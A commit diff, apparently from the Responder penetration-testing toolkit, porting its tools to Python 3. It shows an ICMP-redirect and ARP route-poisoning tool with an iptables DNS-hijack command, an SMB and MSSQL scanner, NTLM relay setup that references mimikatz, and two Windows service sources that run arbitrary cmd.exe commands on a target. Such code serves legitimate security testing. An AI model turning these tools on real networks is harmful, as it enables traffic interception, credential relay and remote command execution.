sys.exit('Usage: python '+sys.argv[0]+' 10.1.3.37\nor:\nUsage: python '+sys.argv[0]+' 10.1.3.37/24')
|
|
||||||
|
|
||||||
m = re.search("/", str(sys.argv[1]))
|
|
||||||
if m :
|
|
||||||
net,_,mask = sys.argv[1].partition('/')
|
|
||||||
mask = int(mask)
|
|
||||||
net = atod(net)
|
|
||||||
threads = []
|
|
||||||
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
|
|
||||||
p = multiprocessing.Process(target=run, args=((host,445),))
|
|
||||||
threads.append(p)
|
|
||||||
p.start()
|
|
||||||
else:
|
|
||||||
run((str(sys.argv[1]),445))
|
|
||||||
@@ -16,12 +16,12 @@
|
|||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
from socket import *
|
from socket import *
|
||||||
|
|
||||||
print('MSSQL Server Finder 0.2')
|
print('MSSQL Server Finder 0.3')
|
||||||
|
|
||||||
s = socket(AF_INET,SOCK_DGRAM)
|
s = socket(AF_INET,SOCK_DGRAM)
|
||||||
s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1)
|
s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1)
|
||||||
s.settimeout(2)
|
s.settimeout(5)
|
||||||
s.sendto('\x02',('255.255.255.255',1434))
|
s.sendto(b'\x02',('255.255.255.255',1434))
|
||||||
|
|
||||||
try:
|
try:
|
||||||
while 1:
|
while 1:
|
||||||
@@ -31,7 +31,7 @@ try:
|
|||||||
else:
|
else:
|
||||||
print("===============================================================")
|
print("===============================================================")
|
||||||
print(("Host details: %s"%(address[0])))
|
print(("Host details: %s"%(address[0])))
|
||||||
print((data[2:]))
|
print((data[2:]).decode('latin-1'))
|
||||||
print("===============================================================")
|
print("===============================================================")
|
||||||
print("")
|
print("")
|
||||||
except:
|
except:
|
||||||
|
|||||||
@@ -19,14 +19,16 @@ import struct
|
|||||||
import optparse
|
import optparse
|
||||||
import pipes
|
import pipes
|
||||||
import sys
|
import sys
|
||||||
|
import codecs
|
||||||
from socket import *
|
from socket import *
|
||||||
sys.path.append('../')
|
sys.path.append('../')
|
||||||
from odict import OrderedDict
|
from odict import OrderedDict
|
||||||
from random import randrange
|
from random import randrange
|
||||||
from time import sleep
|
from time import sleep
|
||||||
from subprocess import call
|
from subprocess import call
|
||||||
from packets import Packet
|
|
||||||
|
|
||||||
|
if (sys.version_info < (3, 0)):
|
||||||
|
sys.exit('This script is meant to be run with Python3')
|
||||||
parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1',
|
parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1',
|
||||||
prog=sys.argv[0],
|
prog=sys.argv[0],
|
||||||
)
|
)
|
||||||
@@ -78,13 +80,53 @@ def Show_Help(ExtraHelpData):
|
|||||||
|
|
||||||
MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP)
|
MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP)
|
||||||
|
|
||||||
|
#Python version
|
||||||
|
if (sys.version_info > (3, 0)):
|
||||||
|
PY2OR3 = "PY3"
|
||||||
|
else:
|
||||||
|
PY2OR3 = "PY2"
|
||||||
|
|
||||||
|
def StructWithLenPython2or3(endian,data):
|
||||||
|
#Python2...
|
||||||
|
if PY2OR3 == "PY2":
|
||||||
|
return struct.pack(endian, data)
|
||||||
|
#Python3...
|
||||||
|
else:
|
||||||
|
return struct.pack(endian, data).decode('latin-1')
|
||||||
|
|
||||||
|
def NetworkSendBufferPython2or3(data):
|
||||||
|
if PY2OR3 == "PY2":
|
||||||
|
return str(data)
|
||||||
|
else:
|
||||||
|
return bytes(str(data), 'latin-1')
|
||||||
|
|
||||||
|
def NetworkRecvBufferPython2or3(data):
|
||||||
|
if PY2OR3 == "PY2":
|
||||||
|
return str(data)
|
||||||
|
else:
|
||||||
|
return str(data.decode('latin-1'))
|
||||||
|
|
||||||
def GenCheckSum(data):
|
def GenCheckSum(data):
|
||||||
s = 0
|
s = 0
|
||||||
for i in range(0, len(data), 2):
|
for i in range(0, len(data), 2):
|
||||||
q = ord(data[i]) + (ord(data[i+1]) << 8)
|
q = ord(data[i]) + (ord(data[i+1]) << 8)
|
||||||
f = s + q
|
f = s + q
|
||||||
s = (f & 0xffff) + (f >> 16)
|
s = (f & 0xffff) + (f >> 16)
|
||||||
return struct.pack("<H",~s & 0xffff)
|
return StructWithLenPython2or3("<H",~s & 0xffff)
|
||||||
|
|
||||||
|
class Packet():
|
||||||
|
fields = OrderedDict([
|
||||||
|
("data", ""),
|
||||||
|
])
|
||||||
|
def __init__(self, **kw):
|
||||||
|
self.fields = OrderedDict(self.__class__.fields)
|
||||||
|
for k,v in kw.items():
|
||||||
|
if callable(v):
|
||||||
|
self.fields[k] = v(self.fields[k])
|
||||||
|
else:
|
||||||
|
self.fields[k] = v
|
||||||
|
def __str__(self):
|
||||||
|
return "".join(map(str, self.fields.values()))
|
||||||
|
|
||||||
#####################################################################
|
#####################################################################
|
||||||
#ARP Packets
|
#ARP Packets
|
||||||
@@ -110,8 +152,8 @@ class ARPWhoHas(Packet):
|
|||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
self.fields["DstIP"] = inet_aton(self.fields["DstIP"])
|
self.fields["DstIP"] = inet_aton(self.fields["DstIP"]).decode('latin-1')
|
||||||
self.fields["SenderIP"] = inet_aton(OURIP)
|
self.fields["SenderIP"] = inet_aton(OURIP).decode('latin-1')
|
||||||
|
|
||||||
#####################################################################
|
#####################################################################
|
||||||
#ICMP Redirect Packets
|
#ICMP Redirect Packets
|
||||||
@@ -141,11 +183,11 @@ class IPPacket(Packet):
|
|||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
self.fields["TID"] = chr(randrange(256))+chr(randrange(256))
|
self.fields["TID"] = chr(randrange(256))+chr(randrange(256))
|
||||||
self.fields["SrcIP"] = inet_aton(str(self.fields["SrcIP"]))
|
self.fields["SrcIP"] = inet_aton(str(self.fields["SrcIP"])).decode('latin-1')
|
||||||
self.fields["DestIP"] = inet_aton(str(self.fields["DestIP"]))
|
self.fields["DestIP"] = inet_aton(str(self.fields["DestIP"])).decode('latin-1')
|
||||||
# Calc Len First
|
# Calc Len First
|
||||||
CalculateLen = str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])+str(self.fields["Data"])
|
CalculateLen = str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])+str(self.fields["Data"])
|
||||||
self.fields["Len"] = struct.pack(">H", len(CalculateLen))
|
self.fields["Len"] = StructWithLenPython2or3(">H", len(CalculateLen))
|
||||||
# Then CheckSum this packet
|
# Then CheckSum this packet
|
||||||
CheckSumCalc =str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])
|
CheckSumCalc =str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])
|
||||||
self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
|
self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
|
||||||
@@ -160,7 +202,7 @@ class ICMPRedir(Packet):
|
|||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
self.fields["GwAddr"] = inet_aton(OURIP)
|
self.fields["GwAddr"] = inet_aton(OURIP).decode('latin-1')
|
||||||
CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"])
|
CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"])
|
||||||
self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
|
self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
|
||||||
|
|
||||||
@@ -177,18 +219,18 @@ def ReceiveArpFrame(DstAddr):
|
|||||||
s.settimeout(5)
|
s.settimeout(5)
|
||||||
Protocol = 0x0806
|
Protocol = 0x0806
|
||||||
s.bind((Interface, Protocol))
|
s.bind((Interface, Protocol))
|
||||||
OurMac = s.getsockname()[4]
|
OurMac = s.getsockname()[4].decode('latin-1')
|
||||||
Eth = EthARP(SrcMac=OurMac)
|
Eth = EthARP(SrcMac=OurMac)
|
||||||
Arp = ARPWhoHas(DstIP=DstAddr,SenderMac=OurMac)
|
Arp = ARPWhoHas(DstIP=DstAddr,SenderMac=OurMac)
|
||||||
Arp.calculate()
|
Arp.calculate()
|
||||||
final = str(Eth)+str(Arp)
|
final = str(Eth)+str(Arp)
|
||||||
try:
|
try:
|
||||||
s.send(final)
|
s.send(NetworkSendBufferPython2or3(final))
|
||||||
data = s.recv(1024)
|
data = s.recv(1024)
|
||||||
DstMac = data[22:28]
|
DstMac = data[22:28]
|
||||||
DestMac = DstMac.encode('hex')
|
DestMac = codecs.encode(DstMac, 'hex')
|
||||||
PrintMac = ":".join([DestMac[x:x+2] for x in range(0, len(DestMac), 2)])
|
PrintMac = ":".join([DestMac[x:x+2].decode('latin-1') for x in range(0, len(DestMac), 2)])
|
||||||
return PrintMac,DstMac
|
return PrintMac,DstMac.decode('latin-1')
|
||||||
except:
|
except:
|
||||||
print("[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr))
|
print("[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr))
|
||||||
exit(1)
|
exit(1)
|
||||||
@@ -209,7 +251,7 @@ def IcmpRedirectSock(DestinationIP):
|
|||||||
IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack))
|
IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack))
|
||||||
IPPack.calculate()
|
IPPack.calculate()
|
||||||
final = str(Eth)+str(IPPack)
|
final = str(Eth)+str(IPPack)
|
||||||
s.send(final)
|
s.send(NetworkSendBufferPython2or3(final))
|
||||||
print('\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,DestinationIP))
|
print('\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,DestinationIP))
|
||||||
|
|
||||||
def FindWhatToDo(ToThisHost2):
|
def FindWhatToDo(ToThisHost2):
|
||||||
|
|||||||
@@ -59,6 +59,16 @@ Mimikatzx86Filename = "./MultiRelay/bin/mimikatz_x86.exe"
|
|||||||
RunAsFileName = "./MultiRelay/bin/Runas.exe"
|
RunAsFileName = "./MultiRelay/bin/Runas.exe"
|
||||||
SysSVCFileName = "./MultiRelay/bin/Syssvc.exe"
|
SysSVCFileName = "./MultiRelay/bin/Syssvc.exe"
|
||||||
|
|
||||||
|
def color(txt, code = 1, modifier = 0):
|
||||||
|
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
|
||||||
|
|
||||||
|
if os.path.isfile(SysSVCFileName) is False:
|
||||||
|
print(color("[!]MultiRelay/bin/ folder is empty. You need to run these commands:\n",1,1))
|
||||||
|
print(color("apt-get install gcc-mingw-w64-x86-64",2,1))
|
||||||
|
print(color("x86_64-w64-mingw32-gcc ./MultiRelay/bin/Runas.c -o ./MultiRelay/bin/Runas.exe -municode -lwtsapi32 -luserenv",2,1))
|
||||||
|
print(color("x86_64-w64-mingw32-gcc ./MultiRelay/bin/Syssvc.c -o ./MultiRelay/bin/Syssvc.exe -municode",2,1))
|
||||||
|
print(color("\nAdditionally, you can add your custom mimikatz executables (mimikatz.exe and mimikatz_x86.exe)\nin the MultiRelay/bin/ folder for the mimi32/mimi command.",3,1))
|
||||||
|
sys.exit()
|
||||||
|
|
||||||
def UserCallBack(op, value, dmy, parser):
|
def UserCallBack(op, value, dmy, parser):
|
||||||
args=[]
|
args=[]
|
||||||
@@ -92,7 +102,7 @@ if options.ExtraPort is None:
|
|||||||
options.ExtraPort = 0
|
options.ExtraPort = 0
|
||||||
|
|
||||||
if not os.geteuid() == 0:
|
if not os.geteuid() == 0:
|
||||||
print((color("[!] MultiRelay must be run as root.")))
|
print(color("[!] MultiRelay must be run as root."))
|
||||||
sys.exit(-1)
|
sys.exit(-1)
|
||||||
|
|
||||||
OneCommand = options.OneCommand
|
OneCommand = options.OneCommand
|
||||||
@@ -105,10 +115,6 @@ Cmd = []
|
|||||||
ShellOpen = []
|
ShellOpen = []
|
||||||
Pivoting = [2]
|
Pivoting = [2]
|
||||||
|
|
||||||
|
|
||||||
def color(txt, code = 1, modifier = 0):
|
|
||||||
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
|
|
||||||
|
|
||||||
def ShowWelcome():
|
def ShowWelcome():
|
||||||
print(color('\nResponder MultiRelay %s NTLMv1/2 Relay' %(__version__),8,1))
|
print(color('\nResponder MultiRelay %s NTLMv1/2 Relay' %(__version__),8,1))
|
||||||
print('\nSend bugs/hugs/comments to: laurent.gaffie@gmail.com')
|
print('\nSend bugs/hugs/comments to: laurent.gaffie@gmail.com')
|
||||||
|
|||||||
100
tools/MultiRelay/bin/Runas.c
Normal file
100
tools/MultiRelay/bin/Runas.c
Normal file
@@ -0,0 +1,100 @@
|
|||||||
|
/* Benjamin DELPY `gentilkiwi`
|
||||||
|
http://blog.gentilkiwi.com
|
||||||
|
benjamin@gentilkiwi.com
|
||||||
|
Licence : https://creativecommons.org/licenses/by/4.0/
|
||||||
|
*/
|
||||||
|
#include <windows.h>
|
||||||
|
#include <userenv.h>
|
||||||
|
#include <wtsapi32.h>
|
||||||
|
|
||||||
|
int wmain(int argc, wchar_t * argv[]);
|
||||||
|
void WINAPI ServiceMain(DWORD argc, LPWSTR *argv);
|
||||||
|
void WINAPI ServiceCtrlHandler(DWORD Opcode);
|
||||||
|
|
||||||
|
SERVICE_STATUS m_ServiceStatus = {SERVICE_WIN32_OWN_PROCESS, SERVICE_STOPPED, 0, NO_ERROR, 0, 0, 0};
|
||||||
|
SERVICE_STATUS_HANDLE m_ServiceStatusHandle = NULL;
|
||||||
|
HANDLE m_pyrsvcRunning;
|
||||||
|
PWCHAR z_cmdLine, z_logFile;
|
||||||
|
const WCHAR PYRSVC_NAME[] = L"pyrsvc", PYRSVC_PRE_CMD[] = L"cmd.exe /c \"", PYRSVC_POST_CMD[] = L"\" > ", PYRSVC_END_CMD[] = L" 2>&1";
|
||||||
|
|
||||||
|
int wmain(int argc, wchar_t * argv[])
|
||||||
|
{
|
||||||
|
int status = ERROR_SERVICE_NOT_IN_EXE;
|
||||||
|
const SERVICE_TABLE_ENTRY DispatchTable[]= {{(LPWSTR) PYRSVC_NAME, ServiceMain}, {NULL, NULL}};
|
||||||
|
if(argc == 3)
|
||||||
|
{
|
||||||
|
if(z_cmdLine = _wcsdup(argv[1]))
|
||||||
|
{
|
||||||
|
if(z_logFile = _wcsdup(argv[2]))
|
||||||
|
{
|
||||||
|
if(m_pyrsvcRunning = CreateEvent(NULL, TRUE, FALSE, NULL))
|
||||||
|
{
|
||||||
|
if(StartServiceCtrlDispatcher(DispatchTable))
|
||||||
|
status = ERROR_SUCCESS;
|
||||||
|
else status = GetLastError();
|
||||||
|
CloseHandle(m_pyrsvcRunning);
|
||||||
|
}
|
||||||
|
free(z_logFile);
|
||||||
|
}
|
||||||
|
free(z_cmdLine);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return status;
|
||||||
|
}
|
||||||
|
|
||||||
|
void WINAPI ServiceMain(DWORD argc, LPWSTR *argv)
|
||||||
|
{
|
||||||
|
STARTUPINFO si = {0};
|
||||||
|
PROCESS_INFORMATION pi;
|
||||||
|
PWCHAR arguments;
|
||||||
|
DWORD size;
|
||||||
|
HANDLE hUser;
|
||||||
|
LPVOID env;
|
||||||
|
si.cb = sizeof(STARTUPINFO);
|
||||||
|
if(m_ServiceStatusHandle = RegisterServiceCtrlHandler(PYRSVC_NAME, ServiceCtrlHandler))
|
||||||
|
{
|
||||||
|
m_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
|
||||||
|
SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
|
||||||
|
m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
|
||||||
|
m_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
|
||||||
|
SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
|
||||||
|
|
||||||
|
size = ((ARRAYSIZE(PYRSVC_PRE_CMD) - 1) + lstrlen(z_cmdLine) + (ARRAYSIZE(PYRSVC_POST_CMD) - 1) + lstrlen(z_logFile) + (ARRAYSIZE(PYRSVC_END_CMD) - 1) + 1) * sizeof(WCHAR);
|
||||||
|
if(arguments = (PWCHAR) malloc(size))
|
||||||
|
{
|
||||||
|
memset(arguments, '\0', size);
|
||||||
|
wcscat_s(arguments, size, PYRSVC_PRE_CMD);
|
||||||
|
wcscat_s(arguments, size, z_cmdLine);
|
||||||
|
wcscat_s(arguments, size, PYRSVC_POST_CMD);
|
||||||
|
wcscat_s(arguments, size, z_logFile);
|
||||||
|
wcscat_s(arguments, size, PYRSVC_END_CMD);
|
||||||
|
if(WTSQueryUserToken(WTSGetActiveConsoleSessionId(), &hUser))
|
||||||
|
{
|
||||||
|
if(CreateEnvironmentBlock(&env, hUser, FALSE))
|
||||||
|
{
|
||||||
|
if(CreateProcessAsUser(hUser, NULL, arguments, NULL, NULL, FALSE, CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT, NULL, NULL, &si, &pi))
|
||||||
|
{
|
||||||
|
CloseHandle(pi.hThread);
|
||||||
|
CloseHandle(pi.hProcess);
|
||||||
|
}
|
||||||
|
DestroyEnvironmentBlock(env);
|
||||||
|
}
|
||||||
|
CloseHandle(hUser);
|
||||||
|
}
|
||||||
|
free(arguments);
|
||||||
|
}
|
||||||
|
WaitForSingleObject(m_pyrsvcRunning, INFINITE);
|
||||||
|
m_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
|
||||||
|
SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void WINAPI ServiceCtrlHandler(DWORD Opcode)
|
||||||
|
{
|
||||||
|
if((Opcode == SERVICE_CONTROL_STOP) || (Opcode == SERVICE_CONTROL_SHUTDOWN))
|
||||||
|
{
|
||||||
|
m_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
|
||||||
|
SetServiceStatus (m_ServiceStatusHandle, &m_ServiceStatus);
|
||||||
|
SetEvent(m_pyrsvcRunning);
|
||||||
|
}
|
||||||
|
}
|
||||||
Binary file not shown.
90
tools/MultiRelay/bin/Syssvc.c
Normal file
90
tools/MultiRelay/bin/Syssvc.c
Normal file
@@ -0,0 +1,90 @@
|
|||||||
|
/* Benjamin DELPY `gentilkiwi`
|
||||||
|
http://blog.gentilkiwi.com
|
||||||
|
benjamin@gentilkiwi.com
|
||||||
|
Licence : https://creativecommons.org/licenses/by/4.0/
|
||||||
|
*/
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
int wmain(int argc, wchar_t * argv[]);
|
||||||
|
void WINAPI ServiceMain(DWORD argc, LPWSTR *argv);
|
||||||
|
void WINAPI ServiceCtrlHandler(DWORD Opcode);
|
||||||
|
|
||||||
|
SERVICE_STATUS m_ServiceStatus = {SERVICE_WIN32_OWN_PROCESS, SERVICE_STOPPED, 0, NO_ERROR, 0, 0, 0};
|
||||||
|
SERVICE_STATUS_HANDLE m_ServiceStatusHandle = NULL;
|
||||||
|
HANDLE m_pyrsvcRunning;
|
||||||
|
PWCHAR z_cmdLine, z_logFile;
|
||||||
|
const WCHAR PYRSVC_NAME[] = L"pyrsvc", PYRSVC_PRE_CMD[] = L"cmd.exe /c \"", PYRSVC_POST_CMD[] = L"\" > ", PYRSVC_END_CMD[] = L" 2>&1";
|
||||||
|
|
||||||
|
int wmain(int argc, wchar_t * argv[])
|
||||||
|
{
|
||||||
|
int status = ERROR_SERVICE_NOT_IN_EXE;
|
||||||
|
const SERVICE_TABLE_ENTRY DispatchTable[]= {{(LPWSTR) PYRSVC_NAME, ServiceMain}, {NULL, NULL}};
|
||||||
|
if(argc == 3)
|
||||||
|
{
|
||||||
|
if(z_cmdLine = _wcsdup(argv[1]))
|
||||||
|
{
|
||||||
|
if(z_logFile = _wcsdup(argv[2]))
|
||||||
|
{
|
||||||
|
if(m_pyrsvcRunning = CreateEvent(NULL, TRUE, FALSE, NULL))
|
||||||
|
{
|
||||||
|
if(StartServiceCtrlDispatcher(DispatchTable))
|
||||||
|
status = ERROR_SUCCESS;
|
||||||
|
else status = GetLastError();
|
||||||
|
CloseHandle(m_pyrsvcRunning);
|
||||||
|
}
|
||||||
|
free(z_logFile);
|
||||||
|
}
|
||||||
|
free(z_cmdLine);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return status;
|
||||||
|
}
|
||||||
|
|
||||||
|
void WINAPI ServiceMain(DWORD argc, LPWSTR *argv)
|
||||||
|
{
|
||||||
|
STARTUPINFO si = {0};
|
||||||
|
PROCESS_INFORMATION pi;
|
||||||
|
PWCHAR arguments;
|
||||||
|
DWORD size;
|
||||||
|
si.cb = sizeof(STARTUPINFO);
|
||||||
|
if(m_ServiceStatusHandle = RegisterServiceCtrlHandler(PYRSVC_NAME, ServiceCtrlHandler))
|
||||||
|
{
|
||||||
|
m_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
|
||||||
|
SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
|
||||||
|
m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
|
||||||
|
m_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
|
||||||
|
SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
|
||||||
|
|
||||||
|
size = ((ARRAYSIZE(PYRSVC_PRE_CMD) - 1) + lstrlen(z_cmdLine) + (ARRAYSIZE(PYRSVC_POST_CMD) - 1) + lstrlen(z_logFile) + (ARRAYSIZE(PYRSVC_END_CMD) - 1) + 1) * sizeof(WCHAR);
|
||||||
|
if(arguments = (PWCHAR) malloc(size))
|
||||||
|
{
|
||||||
|
memset(arguments, '\0', size);
|
||||||
|
wcscat_s(arguments, size, PYRSVC_PRE_CMD);
|
||||||
|
wcscat_s(arguments, size, z_cmdLine);
|
||||||
|
wcscat_s(arguments, size, PYRSVC_POST_CMD);
|
||||||
|
wcscat_s(arguments, size, z_logFile);
|
||||||
|
wcscat_s(arguments, size, PYRSVC_END_CMD);
|
||||||
|
|
||||||
|
if(CreateProcess(NULL, arguments, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi))
|
||||||
|
{
|
||||||
|
CloseHandle(pi.hThread);
|
||||||
|
CloseHandle(pi.hProcess);
|
||||||
|
}
|
||||||
|
|
||||||
|
free(arguments);
|
||||||
|
}
|
||||||
|
WaitForSingleObject(m_pyrsvcRunning, INFINITE);
|
||||||
|
m_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
|
||||||
|
SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void WINAPI ServiceCtrlHandler(DWORD Opcode)
|
||||||
|
{
|
||||||
|
if((Opcode == SERVICE_CONTROL_STOP) || (Opcode == SERVICE_CONTROL_SHUTDOWN))
|
||||||
|
{
|
||||||
|
m_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
|
||||||
|
SetServiceStatus (m_ServiceStatusHandle, &m_ServiceStatus);
|
||||||
|
SetEvent(m_pyrsvcRunning);
|
||||||
|
}
|
||||||
|
}
|
||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
11
utils.py
11
utils.py
@@ -24,6 +24,7 @@ import settings
|
|||||||
import datetime
|
import datetime
|
||||||
import codecs
|
import codecs
|
||||||
import struct
|
import struct
|
||||||
|
from calendar import timegm
|
||||||
|
|
||||||
def RandomChallenge():
|
def RandomChallenge():
|
||||||
if settings.Config.PY2OR3 == "PY3":
|
if settings.Config.PY2OR3 == "PY3":
|
||||||
@@ -50,6 +51,15 @@ def RandomChallenge():
|
|||||||
def HTTPCurrentDate():
|
def HTTPCurrentDate():
|
||||||
Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT')
|
Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT')
|
||||||
return Date
|
return Date
|
||||||
|
|
||||||
|
def SMBTime():
|
||||||
|
dt = datetime.datetime.now()
|
||||||
|
dt = dt.replace(tzinfo=None)
|
||||||
|
if settings.Config.PY2OR3 == "PY3":
|
||||||
|
return struct.pack("<Q",116444736000000000 + (timegm(dt.timetuple()) * 10000000)).decode('latin-1')
|
||||||
|
else:
|
||||||
|
return struct.pack("<Q",116444736000000000 + (timegm(dt.timetuple()) * 10000000))
|
||||||
|
|
||||||
try:
|
try:
|
||||||
import sqlite3
|
import sqlite3
|
||||||
except:
|
except:
|
||||||
@@ -410,5 +420,4 @@ def StartupMessage():
|
|||||||
print(' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1))
|
print(' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1))
|
||||||
if len(settings.Config.DontRespondToName):
|
if len(settings.Config.DontRespondToName):
|
||||||
print(' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1))
|
print(' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1))
|
||||||
print('\n\n')
|
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user